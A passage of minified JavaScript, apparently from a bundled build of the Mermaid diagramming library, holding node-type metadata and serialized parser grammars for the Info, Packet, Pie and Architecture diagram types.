XB:return{name:XB,properties:[{name:"name"},{name:"value",defaultValue:!1}]};case s4:return{name:s4,properties:[{name:"accDescr"},{name:"accTitle"},{name:"blocks",defaultValue:[]},{name:"title"}]};case o4:return{name:o4,properties:[{name:"bits"},{name:"end"},{name:"label"},{name:"start"}]};case l4:return{name:l4,properties:[{name:"accDescr"},{name:"accTitle"},{name:"sections",defaultValue:[]},{name:"showData",defaultValue:!1},{name:"title"}]};case c4:return{name:c4,properties:[{name:"label"},{name:"value"}]};case g6:return{name:g6,properties:[{name:"accDescr"},{name:"accTitle"},{name:"axes",defaultValue:[]},{name:"curves",defaultValue:[]},{name:"options",defaultValue:[]},{name:"title"}]};case jB:return{name:jB,properties:[{name:"icon"},{name:"iconText"},{name:"id"},{name:"in"},{name:"title"}]};case u4:return{name:u4,properties:[{name:"accDescr"},{name:"accTitle"},{name:"title"},{name:"TreemapRows",defaultValue:[]}]};case KB:return{name:KB,properties:[{name:"indent"},{name:"item"}]};case d6:return{name:d6,properties:[{name:"accDescr"},{name:"accTitle"},{name:"dir"},{name:"statements",defaultValue:[]},{name:"title"}]};case p6:return{name:p6,properties:[{name:"classSelector"},{name:"name"},{name:"value"}]};case m6:return{name:m6,properties:[{name:"classSelector"},{name:"name"}]};default:return{name:t,properties:[]}}}},Ul=new age,xje=Tt(()=>Gme??(Gme=Zc(`{"$type":"Grammar","isDeclared":true,"name":"Info","imports":[],"rules":[{"$type":"ParserRule","entry":true,"name":"Info","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[],"cardinality":"*"},{"$type":"Keyword","value":"info"},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[],"cardinality":"*"},{"$type":"Group","elements":[{"$type":"Keyword","value":"showInfo"},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[],"cardinality":"*"}],"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[],"cardinality":"?"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"EOL","dataType":"string","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[],"cardinality":"+"},{"$type":"EndOfFile"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@4"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]}}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[]}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"FLOAT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/0|[1-9][0-9]*(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@7"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@8"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STRING","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\"([^\\"\\\\\\\\]|\\\\\\\\.)*\\"|'([^'\\\\\\\\]|\\\\\\\\.)*'/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/[\\\\w]([-\\\\w]*\\\\w)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NEWLINE","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WHITESPACE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"YAML","definition":{"$type":"RegexToken","regex":"/---[\\\\t ]*\\\\r?\\\\n(?:[\\\\S\\\\s]*?\\\\r?\\\\n)?---(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"DIRECTIVE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%{[\\\\S\\\\s]*?}%%(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"SINGLE_LINE_COMMENT","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%[^\\\\n\\\\r]*/"},"fragment":false}],"definesHiddenTokens":false,"hiddenTokens":[],"interfaces":[],"types":[],"usedGrammars":[]}`)),"InfoGrammar"),bje=Tt(()=>Vme??(Vme=Zc(`{"$type":"Grammar","isDeclared":true,"name":"Packet","imports":[],"rules":[{"$type":"ParserRule","entry":true,"name":"Packet","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@13"},"arguments":[],"cardinality":"*"},{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"packet"},{"$type":"Keyword","value":"packet-beta"}]},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@3"},"arguments":[]},{"$type":"Assignment","feature":"blocks","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@13"},"arguments":[]}],"cardinality":"*"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"PacketBlock","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Group","elements":[{"$type":"Assignment","feature":"start","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":"-"},{"$type":"Assignment","feature":"end","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}}],"cardinality":"?"}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"+"},{"$type":"Assignment","feature":"bits","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}}]}]},{"$type":"Keyword","value":":"},{"$type":"Assignment","feature":"label","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@11"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"EOL","dataType":"string","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@13"},"arguments":[],"cardinality":"+"},{"$type":"EndOfFile"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@7"},"arguments":[]}}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"FLOAT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/0|[1-9][0-9]*(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@8"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@9"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STRING","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\"([^\\"\\\\\\\\]|\\\\\\\\.)*\\"|'([^'\\\\\\\\]|\\\\\\\\.)*'/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/[\\\\w]([-\\\\w]*\\\\w)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NEWLINE","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WHITESPACE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"YAML","definition":{"$type":"RegexToken","regex":"/---[\\\\t ]*\\\\r?\\\\n(?:[\\\\S\\\\s]*?\\\\r?\\\\n)?---(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"DIRECTIVE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%{[\\\\S\\\\s]*?}%%(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"SINGLE_LINE_COMMENT","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%[^\\\\n\\\\r]*/"},"fragment":false}],"definesHiddenTokens":false,"hiddenTokens":[],"interfaces":[],"types":[],"usedGrammars":[]}`)),"PacketGrammar"),Tje=Tt(()=>Ume??(Ume=Zc(`{"$type":"Grammar","isDeclared":true,"name":"Pie","imports":[],"rules":[{"$type":"ParserRule","entry":true,"name":"Pie","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@16"},"arguments":[],"cardinality":"*"},{"$type":"Keyword","value":"pie"},{"$type":"Assignment","feature":"showData","operator":"?=","terminal":{"$type":"Keyword","value":"showData"},"cardinality":"?"},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]},{"$type":"Assignment","feature":"sections","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@16"},"arguments":[]}],"cardinality":"*"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"PieSection","definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"label","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@14"},"arguments":[]}},{"$type":"Keyword","value":":"},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@4"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"FLOAT_PIE","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/-?[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT_PIE","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/-?(0|[1-9][0-9]*)(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER_PIE","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@2"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@3"}}]},"fragment":false,"hidden":false},{"$type":"ParserRule","fragment":true,"name":"EOL","dataType":"string","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@16"},"arguments":[],"cardinality":"+"},{"$type":"EndOfFile"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@10"},"arguments":[]}}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"FLOAT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/0|[1-9][0-9]*(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@11"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@12"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STRING","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\"([^\\"\\\\\\\\]|\\\\\\\\.)*\\"|'([^'\\\\\\\\]|\\\\\\\\.)*'/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/[\\\\w]([-\\\\w]*\\\\w)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NEWLINE","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WHITESPACE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"YAML","definition":{"$type":"RegexToken","regex":"/---[\\\\t ]*\\\\r?\\\\n(?:[\\\\S\\\\s]*?\\\\r?\\\\n)?---(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"DIRECTIVE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%{[\\\\S\\\\s]*?}%%(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"SINGLE_LINE_COMMENT","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%[^\\\\n\\\\r]*/"},"fragment":false}],"definesHiddenTokens":false,"hiddenTokens":[],"interfaces":[],"types":[],"usedGrammars":[]}`)),"PieGrammar"),wje=Tt(()=>Hme??(Hme=Zc(`{"$type":"Grammar","isDeclared":true,"name":"Architecture","imports":[],"rules":[{"$type":"ParserRule","entry":true,"name":"Architecture","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@23"},"arguments":[],"cardinality":"*"},{"$type":"Keyword","value":"architecture-beta"},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@23"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@13"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[]}],"cardinality":"*"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"Statement","definition":{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"groups","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}},{"$type":"Assignment","feature":"services","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]}},{"$type":"Assignment","feature":"junctions","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@7"},"arguments":[]}},{"$type":"Assignment","feature":"edges","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"LeftPort","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":":"},{"$type":"Assignment","feature":"lhsDir","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"RightPort","definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"rhsDir","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}},{"$type":"Keyword","value":":"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"Arrow","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]},{"$type":"Assignment","feature":"lhsInto","operator":"?=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@11"},"arguments":[]},"cardinality":"?"},{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"--"},{"$type":"Group","elements":[{"$type":"Keyword","value":"-"},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@29"},"arguments":[]}},{"$type":"Keyword","value":"-"}]}]},{"$type":"Assignment","feature":"rhsInto","operator":"?=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@11"},"arguments":[]},"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@3"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Group","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"group"},{"$type":"Assignment","feature":"id","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}},{"$type":"Assignment","feature":"icon","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@28"},"arguments":[]},"cardinality":"?"},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@29"},"arguments":[]},"cardinality":"?"},{"$type":"Group","elements":[{"$type":"Keyword","value":"in"},{"$type":"Assignment","feature":"in","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}}],"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Service","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"service"},{"$type":"Assignment","feature":"id","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}},{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"iconText","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@21"},"arguments":[]}},{"$type":"Assignment","feature":"icon","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@28"},"arguments":[]}}],"cardinality":"?"},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@29"},"arguments":[]},"cardinality":"?"},{"$type":"Group","elements":[{"$type":"Keyword","value":"in"},{"$type":"Assignment","feature":"in","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}}],"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Junction","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"junction"},{"$type":"Assignment","feature":"id","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":"in"},{"$type":"Assignment","feature":"in","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}}],"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Edge","definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"lhsId","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}},{"$type":"Assignment","feature":"lhsGroup","operator":"?=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@10"},"arguments":[]},"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@4"},"arguments":[]},{"$type":"Assignment","feature":"rhsId","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}},{"$type":"Assignment","feature":"rhsGroup","operator":"?=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@10"},"arguments":[]},"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"ARROW_DIRECTION","definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"L"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"R"}}]},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"T"}}]},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"B"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ARROW_GROUP","definition":{"$type":"RegexToken","regex":"/\\\\{group\\\\}/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ARROW_INTO","definition":{"$type":"RegexToken","regex":"/<|>/"},"fragment":false,"hidden":false},{"$type":"ParserRule","fragment":true,"name":"EOL","dataType":"string","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@23"},"arguments":[],"cardinality":"+"},{"$type":"EndOfFile"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@15"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@16"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"FLOAT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/0|[1-9][0-9]*(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@18"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@19"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STRING","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\"([^\\"\\\\\\\\]|\\\\\\\\.)*\\"|'([^'\\\\\\\\]|\\\\\\\\.)*'/"},"fragment":false,"h